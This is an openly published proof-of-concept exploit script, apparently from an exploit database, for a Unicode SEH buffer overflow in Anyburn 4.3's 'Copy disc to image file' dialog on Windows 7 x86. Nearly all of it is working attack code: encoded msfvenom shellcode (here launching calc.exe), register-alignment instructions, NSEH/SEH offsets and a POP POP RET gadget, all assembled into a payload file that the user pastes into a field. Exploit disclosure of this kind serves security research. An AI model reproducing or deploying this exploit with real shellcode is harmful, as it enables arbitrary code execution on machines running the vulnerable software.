Anyburn 4.3 x86 – ‘Copy disc to image file’ Buffer Overflow (Unicode) (SEH)
#!/usr/bin/python # Exploit Title: Anyburn 4.3 - 'Copy disc to image file' Buffer Overflow - (UNICODE)(SEH) # Version: 4.3 # Date: 07-03-2019 # Author: Hodorsec (hodorsec@protonmail.com / hodor@hodorsec.com) # Vendor Homepage: http://www.anyburn.com/ # Software Link: http://www.anyburn.com/download.php # Tested on: Win7 x86 SP1 build 7601 # Caveats: - Heavy character expansion from byte range 0x80 until 0x9f. I've mapped the character translation for convenience. # - Modify 'crash_nseh' and 'ret_jmp' variable offsets for different OS'es / servicepacks # # Character expansion mapping # 80 --> 20ac, 81 --> 81 # 82 --> 201a, 83 --> 0192 # 84 --> 201e, 85 --> 2026 # 86 --> 2020, 87 --> 2021 # 88 --> 02c6, 89 --> 2030 # 8a --> 0160, 8b --> 2039 # 8c --> 0152, 8d --> 8d # 8e --> 017d, 8f --> 8f # 90 --> 90 , 91 --> 2018 # 92 --> 2019, 93 --> 201c # 94 --> 201d, 95 --> 2022 # 96 --> 2013, 97 --> 2014 # 98 --> 02dc, 99 --> 2122 # 9a --> 0161, 9b --> 203a # 9c --> 0153, 9d --> 9d # 9e --> 017e, 9f --> 0178 # # PoC # 1.) Generate sploit_anyBURN_seh_unicode.txt, copy the contents to clipboard # 2.) In the application, open 'Copy disc to image file' # 3.) Paste the contents of the TXT file in 'Image file name' # 4.) Click "Create Now" and watch Anyburn BURN! import sys, struct filename = "sploit_anyburn_seh_unicode.txt" # Maximum length maxlen = 10000 # Shellcode # msfvenom -p windows/exec cmd=calc.exe -e x86/unicode_mixed -f python -b "\x00\x0a\x0d" -v shellcode bufferregister=eax # Size 512 shellcode = "" shellcode += "\x50\x50\x59\x41\x49\x41\x49\x41\x49\x41\x49\x41" shellcode += "\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41\x49\x41" shellcode += "\x49\x41\x49\x41\x49\x41\x49\x41\x6a\x58\x41\x51" shellcode += "\x41\x44\x41\x5a\x41\x42\x41\x52\x41\x4c\x41\x59" shellcode += "\x41\x49\x41\x51\x41\x49\x41\x51\x41\x49\x41\x68" shellcode += "\x41\x41\x41\x5a\x31\x41\x49\x41\x49\x41\x4a\x31" shellcode += "\x31\x41\x49\x41\x49\x41\x42\x41\x42\x41\x42\x51" shellcode += "\x49\x31\x41\x49\x51\x49\x41\x49\x51\x49\x31\x31" shellcode += "\x31\x41\x49\x41\x4a\x51\x59\x41\x5a\x42\x41\x42" shellcode += "\x41\x42\x41\x42\x41\x42\x6b\x4d\x41\x47\x42\x39" shellcode += "\x75\x34\x4a\x42\x79\x6c\x39\x58\x35\x32\x6d\x30" shellcode += "\x4b\x50\x6b\x50\x73\x30\x64\x49\x4b\x35\x4e\x51" shellcode += "\x35\x70\x61\x54\x74\x4b\x6e\x70\x6e\x50\x64\x4b" shellcode += "\x61\x42\x7a\x6c\x72\x6b\x62\x32\x6d\x44\x64\x4b" shellcode += "\x44\x32\x6b\x78\x5a\x6f\x45\x67\x6f\x5a\x6b\x76" shellcode += "\x4d\x61\x49\x6f\x34\x6c\x4f\x4c\x43\x31\x71\x6c" shellcode += "\x39\x72\x4e\x4c\x4b\x70\x49\x31\x38\x4f\x4c\x4d" shellcode += "\x6a\x61\x76\x67\x67\x72\x58\x72\x31\x42\x62\x37" shellcode += "\x64\x4b\x50\x52\x7a\x70\x32\x6b\x4f\x5a\x4f\x4c" shellcode += "\x42\x6b\x70\x4c\x6b\x61\x34\x38\x7a\x43\x51\x38" shellcode += "\x6d\x31\x78\x51\x6f\x61\x52\x6b\x30\x59\x6f\x30" shellcode += "\x4b\x51\x79\x43\x72\x6b\x4f\x59\x5a\x78\x68\x63" shellcode += "\x6c\x7a\x30\x49\x62\x6b\x4e\x54\x42\x6b\x6b\x51" shellcode += "\x4a\x36\x4c\x71\x6b\x4f\x44\x6c\x46\x61\x78\x4f" shellcode += "\x4c\x4d\x69\x71\x56\x67\x6c\x78\x57\x70\x63\x45" shellcode += "\x59\x66\x6a\x63\x51\x6d\x4a\x58\x4d\x6b\x71\x6d" shellcode += "\x4e\x44\x52\x55\x4b\x34\x42\x38\x54\x4b\x4e\x78" shellcode += "\x6b\x74\x79\x71\x79\x43\x53\x36\x74\x4b\x4a\x6c" shellcode += "\x50\x4b\x34\x4b\x31\x48\x4d\x4c\x69\x71\x57\x63" shellcode += "\x72\x6b\x4a\x64\x74\x4b\x69\x71\x78\x50\x31\x79" shellcode += "\x50\x44\x6d\x54\x6c\x64\x71\x4b\x51\x4b\x70\x61" shellcode += "\x72\x39\x70\x5a\x30\x51\x39\x6f\x6b\x30\x61\x4f" shellcode += "\x31\x4f\x6f\x6a\x32\x6b\x4d\x42\x4a\x4b\x72\x6d" shellcode += "\x4f\x6d\x51\x5a\x39\x71\x42\x6d\x75\x35\x75\x62" shellcode += "\x4d\x30\x59\x70\x4d\x30\x70\x50\x33\x38\x6e\x51" shellcode += "\x52\x6b\x42\x4f\x53\x57\x6b\x4f\x46\x75\x55\x6b" shellcode += "\x6a\x50\x46\x55\x33\x72\x4f\x66\x62\x48\x66\x46" shellcode += "\x72\x75\x65\x6d\x43\x6d\x39\x6f\x67\x65\x6d\x6c" shellcode += "\x39\x76\x61\x6c\x4a\x6a\x31\x70\x59\x6b\x79\x50" shellcode += "\x74\x35\x49\x75\x35\x6b\x6f\x57\x6e\x33\x72\x52" shellcode += "\x62\x4f\x70\x6a\x39\x70\x42\x33\x39\x6f\x49\x45" shellcode += "\x42\x43\x4f\x71\x52\x4c\x70\x63\x4c\x6e\x30\x65" shellcode += "\x51\x68\x51\x55\x49\x70\x41\x41" # Align reg EBP to RET into EAX # EBP = 0x04f6acb8, Buffer = 0x04f6b70a, Buffer - EBP = 0x0a52 --> 0x0b00 align_ebp = ( "\x73" # Padding "\x55" # PUSH EBP "\x73" # Padding "\x58" # POP EAX "\x73" # Padding "\x05\x0f\x11" # "\x05\x00\x0f\x00\x11" # 05000f0011 add eax,0x11000f00 --\ "\x73" # Padding |--> Adds 0x0b00 bytes "\x2d\x04\x11" # "\x2d\x00\x04\x00\x11" # 2d00040011 sub eax,0x11000400 --/ "\x73" # Padding "\x50" # PUSH EAX "\x73" # Padding "\xc3" # RET ) # Offsets crash_nseh = 9197 # NSEH, might be different on other Windows version/SP crash_seh = crash_nseh + 4 # SEH ret_jmp = 87 # Offset for which the 'align_ebp' instructions land # Variables prefix = "\x73" * ret_jmp # Padding prefix += shellcode # UNICODE encoded shellcode prefix += "\x73" * (crash_nseh - len(prefix)) # Additional padding to reach NSEH nseh = "\x83\x43" # 0x83 Expands to 0x0192 --> XCHG EAX,EDX # Expanded instruction in SEH now does get executed due to swapped regs seh = "\x95\x47" # 0x00470095 Expands to 0x00472022 --> # POP POP RET # AnyBurn.exe suffix = align_ebp # Align registers to jump to beginning of buffer suffix += "\x73" * (maxlen - len(prefix + nseh + seh + suffix)) # Padding # Crafting payload payload = prefix + nseh + seh + suffix # Create file f = open(filename, 'wb') f.write(payload) f.close() |